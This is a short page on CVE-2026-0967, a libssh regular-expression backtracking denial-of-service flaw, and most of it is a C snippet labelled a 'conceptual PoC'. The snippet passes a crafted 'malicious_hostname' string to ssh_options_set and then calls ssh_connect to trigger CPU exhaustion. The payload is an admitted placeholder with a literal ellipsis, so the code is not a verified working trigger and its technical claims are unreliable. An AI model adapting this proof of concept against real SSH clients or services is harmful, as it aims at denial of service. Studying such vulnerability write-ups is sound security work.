CVE-2026-0967 libssh正则回溯拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-0967 (libssh ReDoS) * This demonstrates how a crafted hostname in a config file * could trigger the backtracking vulnerability. */ #include <stdio.h> #include <libssh/libssh.h> int main() { ssh_session session; session = ssh_new(); if (session == NULL) exit(-1); // Simulate setting a malicious hostname pattern that triggers ReDoS // The actual pattern depends on the vulnerable regex in match_pattern() const char* malicious_hostname = "attacker.com((((((((((((...))))))))))))"; ssh_options_set(session, SSH_OPTIONS_HOST, malicious_hostname); // This call would eventually trigger the vulnerable match_pattern function // leading to CPU exhaustion. if (ssh_connect(session) != SSH_OK) { // Connection might hang or timeout due to DoS } ssh_disconnect(session); ssh_free(session); return 0; }